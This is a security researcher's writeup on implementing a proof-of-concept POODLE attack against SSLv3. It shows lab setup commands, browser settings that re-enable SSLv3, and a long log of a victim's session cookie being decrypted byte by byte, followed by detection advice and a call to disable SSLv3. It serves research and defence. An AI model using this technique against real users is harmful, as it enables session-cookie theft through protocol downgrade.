Implementing the POODLE Attack

The POODLE attack gained my attention, as it was disclosed some time ago. An exploit has to act at different positions (victim browser, HTTP request generator and TLS proxy) in a coordinated way and it includes an interesting bit of broken cryptography. Furthermore I asked myself, how practicable this attack is and what the obstacles in buildung an exploit for it are. This writeup is about the experiences I have made while developing a Proof of Concept script for POODLE testing it.

You can get the source code here.

Related Work

During my work other people released some Proof of Concept code of the POODLE attack. The projects can be found on GitHub here and here. As far as I can see, both do not implement the request generator that is running inside the victims browser.

Many other people developed checks for the POODLE vulnerability. Most code checks for SSLv3 support with CBC cipher usage. I wrote a check based on PolarSSL, which checks the behavior of a TLS/SSL server on broken padding. This can also be used to verify vulnerable TLS implementations.

Implementation

The picture below gives a rough overview about of the implemented Proof of Concept code:

Overview of Implementation

The implemented parts are:

  • A request generator, that runs in the victims browser. This can be injected in web pages requested via HTTP and was implemeted as static JavaScript file (POODLEClient.js).
  • A HTTP server that serves the static request generator code and answers requests from the request generator regarding the parameters of the generated HTTPS requests to the attack target server. The Python module http.server was used here.
  • A TLS Proxy that modifies the intercepted TLS packets of the generated HTTPS requests and checks the response of the server for them. The module socketserver was used.
  • Some state has to be shared between TLS Proxy and HTTP server. Because both are running in different threads, the Python classes Manager and BaseManager from multiprocessing.managers were used to create object instances that are accessible from different threads and even remotely. Never used that before, nice Python feature :-)

The implemetation itself follows the description of the paper:

  1. Degrade TLS protocol usage to SSLv3 by disruption of TLS handshake attempts.
  2. Justify the URL and POST length such that the last block of the ciphertext is padding. This is done by increasing the POST body size by one byte until the cipher text extends by a block size.
  3. Perform the copy operation on every generated TLS packet and calculate the leaked byte if the server accepts the modified packet.

If you are interested in the details, just read the really good paper linked above!

One obstacle I have encountered was, that the length of the POST body can unexpected influence the overall length of the plain text by the Content-Length HTTP request header, when the length of the body drops below 10 (or theoretically exceeds 100). This condition is circumvented by usage of body lengths of minimum 26 as start value. The minimum POST length while phase 3 of the attack is then 10 when a 16 byte block is shifted to the first byte.

Another odd looking behaviour is, that the first TLS application data record only contains one plain text byte. This is a countermeasure against exploitation of the BEAST vulnerability. To make things simple, the POODLE PoC only handles application data records that exceed a certain size.

Optimization Potential

The PoC implementation of the attack is far from being optimal. Every generated request requires an additional HTTP roundtrip to ask the HTTP server for the next requests parameters, even when the parameters change only after a plaintext byte has leaked in the decryption phase.

Test Environment

The PoC is entirely written in Python 3.2. I developed and tested it on a recent version of Kali Linux.

Because my preferred browser, Firefox, is not vulnerable against POODLE in current versions, I have used the following about:config parameters to get the vulnerability back for development and testing purposes:

  • security.tls.version.min = 0
  • security.tls.version.max = 0
  • security.tls.version.fallback-limit = 0
  • security.ssl3.*_rc4_* = false

A script TestHTTPServer.py was created as attack target server. The SSLv3 listener was created with socat as follows:

socat -v -x OPENSSL-LISTEN:4433,verify=0,method=SSLv3,cert=cert-poodle.pem,key=key-poodle.pem,reuseaddr,fork TCP:localhost:4080

It forwards the received connections to the HTTP server. Usually the PoC script deduces the MitM config from the target URL. The traffic has to be redirected by appropriate iptables rules or similar. For testing the following command line was used to avoid MitM hassle:

./poodle.py --target-port 4433 --start-offset 384 https://localhost:8443

I have created a script poodle-dev.sh, that starts these components. Just run the following commands in different terminals or as background jobs:

./poodle-dev.sh httpserver
./poodle-dev.sh sslserver
./poodle-dev.sh attacker-nodebug

The attack is performed by requesting the URL http://localhost:8000 from a vulnerable browser. No user interaction is required, as long as the page remains open somewhere in the browser. Do not forget to accept the test certificates (in the demo environment at https://localhost:8443) in your browser before you start. XMLHttpRequests will fail elsewhere.

This is how an attack looks like:

$ ./poodle.py --target-port 4433 --start-offset 384 https://localhost:8443
Starting SSL/TLS server on :8443 forwarding to localhost:4433
Starting HTTP server on :8000 generating requests to https://localhost:8443
Decrypted byte 384: C (0x43) in 8.1950 seconds with 57 requests
Victim now leaked 1 bytes: "C" 57 requests and 8.195 seconds per leaked bytes, 57 requests and 8.195 seconds total
Decrypted byte 385: o (0x6f) in 56.7356 seconds with 405 requests
Victim now leaked 2 bytes: "Co" 231 requests and 32.465 seconds per leaked bytes, 462 requests and 64.931 seconds total
Decrypted byte 386: o (0x6f) in 73.1930 seconds with 519 requests
Victim now leaked 3 bytes: "Coo" 327 requests and 46.041 seconds per leaked bytes, 981 requests and 138.124 seconds total
Decrypted byte 387: k (0x6b) in 36.4802 seconds with 259 requests
Victim now leaked 4 bytes: "Cook" 310 requests and 43.651 seconds per leaked bytes, 1240 requests and 174.604 seconds total
Decrypted byte 388: i (0x69) in 54.8990 seconds with 387 requests
Victim now leaked 5 bytes: "Cooki" 325 requests and 45.901 seconds per leaked bytes, 1627 requests and 229.503 seconds total
Decrypted byte 389: e (0x65) in 14.2407 seconds with 99 requests
Victim now leaked 6 bytes: "Cookie" 287 requests and 40.624 seconds per leaked bytes, 1726 requests and 243.744 seconds total
Decrypted byte 390: : (0x3a) in 34.2510 seconds with 240 requests
Victim now leaked 7 bytes: "Cookie:" 280 requests and 39.714 seconds per leaked bytes, 1966 requests and 277.995 seconds total
Decrypted byte 391:   (0x20) in 56.8563 seconds with 366 requests
Victim now leaked 8 bytes: "Cookie: " 291 requests and 41.856 seconds per leaked bytes, 2332 requests and 334.851 seconds total
Decrypted byte 392: s (0x73) in 3.6992 seconds with 26 requests
Victim now leaked 9 bytes: "Cookie: s" 262 requests and 37.617 seconds per leaked bytes, 2358 requests and 338.550 seconds total
Decrypted byte 393: e (0x65) in 8.4984 seconds with 59 requests
Victim now leaked 10 bytes: "Cookie: se" 241 requests and 34.705 seconds per leaked bytes, 2417 requests and 347.048 seconds total
Decrypted byte 394: s (0x73) in 4.5597 seconds with 31 requests
Victim now leaked 11 bytes: "Cookie: ses" 222 requests and 31.964 seconds per leaked bytes, 2448 requests and 351.608 seconds total
Decrypted byte 395: s (0x73) in 16.6020 seconds with 118 requests
Victim now leaked 12 bytes: "Cookie: sess" 213 requests and 30.684 seconds per leaked bytes, 2566 requests and 368.210 seconds total
Decrypted byte 396: i (0x69) in 3.8552 seconds with 27 requests
Victim now leaked 13 bytes: "Cookie: sessi" 199 requests and 28.620 seconds per leaked bytes, 2593 requests and 372.065 seconds total
Decrypted byte 397: o (0x6f) in 1.4442 seconds with 10 requests
Victim now leaked 14 bytes: "Cookie: sessio" 185 requests and 26.679 seconds per leaked bytes, 2603 requests and 373.510 seconds total
Decrypted byte 398: n (0x6e) in 11.4498 seconds with 82 requests
Victim now leaked 15 bytes: "Cookie: session" 179 requests and 25.664 seconds per leaked bytes, 2685 requests and 384.959 seconds total
Decrypted byte 399: i (0x69) in 39.2923 seconds with 279 requests
Victim now leaked 16 bytes: "Cookie: sessioni" 185 requests and 26.516 seconds per leaked bytes, 2964 requests and 424.252 seconds total
Decrypted byte 400: d (0x64) in 35.4133 seconds with 252 requests
Victim now leaked 17 bytes: "Cookie: sessionid" 189 requests and 27.039 seconds per leaked bytes, 3216 requests and 459.665 seconds total
Decrypted byte 401: = (0x3d) in 23.1957 seconds with 166 requests
Victim now leaked 18 bytes: "Cookie: sessionid=" 187 requests and 26.826 seconds per leaked bytes, 3382 requests and 482.861 seconds total
Decrypted byte 402: s (0x73) in 7.3688 seconds with 53 requests
Victim now leaked 19 bytes: "Cookie: sessionid=s" 180 requests and 25.802 seconds per leaked bytes, 3435 requests and 490.229 seconds total
Decrypted byte 403: u (0x75) in 47.2784 seconds with 336 requests
Victim now leaked 20 bytes: "Cookie: sessionid=su" 188 requests and 26.875 seconds per leaked bytes, 3771 requests and 537.508 seconds total
Decrypted byte 404: p (0x70) in 2.2508 seconds with 16 requests
Victim now leaked 21 bytes: "Cookie: sessionid=sup" 180 requests and 25.703 seconds per leaked bytes, 3787 requests and 539.759 seconds total
Decrypted byte 405: e (0x65) in 17.8258 seconds with 127 requests
Victim now leaked 22 bytes: "Cookie: sessionid=supe" 177 requests and 25.345 seconds per leaked bytes, 3914 requests and 557.584 seconds total
Decrypted byte 406: r (0x72) in 1.7210 seconds with 12 requests
Victim now leaked 23 bytes: "Cookie: sessionid=super" 170 requests and 24.318 seconds per leaked bytes, 3926 requests and 559.305 seconds total
Decrypted byte 407: s (0x73) in 71.9293 seconds with 515 requests
Victim now leaked 24 bytes: "Cookie: sessionid=supers" 185 requests and 26.301 seconds per leaked bytes, 4441 requests and 631.235 seconds total
Decrypted byte 408: e (0x65) in 35.3999 seconds with 253 requests
Victim now leaked 25 bytes: "Cookie: sessionid=superse" 187 requests and 26.665 seconds per leaked bytes, 4694 requests and 666.635 seconds total
Decrypted byte 409: c (0x63) in 0.7939 seconds with 5 requests
Victim now leaked 26 bytes: "Cookie: sessionid=supersec" 180 requests and 25.670 seconds per leaked bytes, 4699 requests and 667.429 seconds total
Decrypted byte 410: r (0x72) in 46.0715 seconds with 326 requests
Victim now leaked 27 bytes: "Cookie: sessionid=supersecr" 186 requests and 26.426 seconds per leaked bytes, 5025 requests and 713.500 seconds total
Decrypted byte 411: e (0x65) in 1.9057 seconds with 12 requests
Victim now leaked 28 bytes: "Cookie: sessionid=supersecre" 179 requests and 25.550 seconds per leaked bytes, 5037 requests and 715.406 seconds total
Decrypted byte 412: t (0x74) in 21.2495 seconds with 151 requests
Victim now leaked 29 bytes: "Cookie: sessionid=supersecret" 178 requests and 25.402 seconds per leaked bytes, 5188 requests and 736.655 seconds total

Observations

Attack Performance

I performed several runs in the above local test environment and measured the time to succesfully leak 8 bytes. The minimum was 240 seconds, most attempts took 300 seconds or longer. As mentioned above, there is some improvement potential for the PoC, but in reality an attacker would not have the performance of a loopback network device ;-)

Exploitability of Current Browser Versions

Current versions of Mozilla Firefox and Google Chrome are safe. They reject to connect with SSLv3 when TLS failed previously. Internet Explorer 11 starts with TLSv1.2 but allows degradation to SSLv3 by connection interruption.

Detection of the Attack

The traffic that occurs is quite unusual. The following suspisious properties can be observed:

  • The termination of attempts to communicate with TLS 1.0 and higher.
  • Cipher texts with two same blocks.
  • A huge amount of HTTPS requests, that are terminated with an encrypted TLS alert message before a response can be sent.

Conclusion: POODLE attack attempts are detectible at network layer.

Conclusions

It is quite simple: SSLv3 must die!. The protocol was superseded in 1999 by TLSv1.0. Browsers that rely on it due to lack of support for TLS are IE6 or Opera 4. Whoever still uses this browsers, has much more security issues than POODLE. Keeping SSLv3 enabled for customers that use these browsers means that the security of users with newer browsers is degraded.

Simply: disable it.

When offering websites via insecure HTTP it is possible for a MitM attacker to inject malicious JavaScript code into pages, which is required for the POODLE attack (request generator). Therefore the usage of insecure HTTP should be reduced as much as possible. CRIME is another vulnerability that requires the attackers code to be executed in the victims browser.

Thanks to Daniel Sauder for proofreading and testing!

Thanks to Danopoulos Nikos for pointing me to some typos.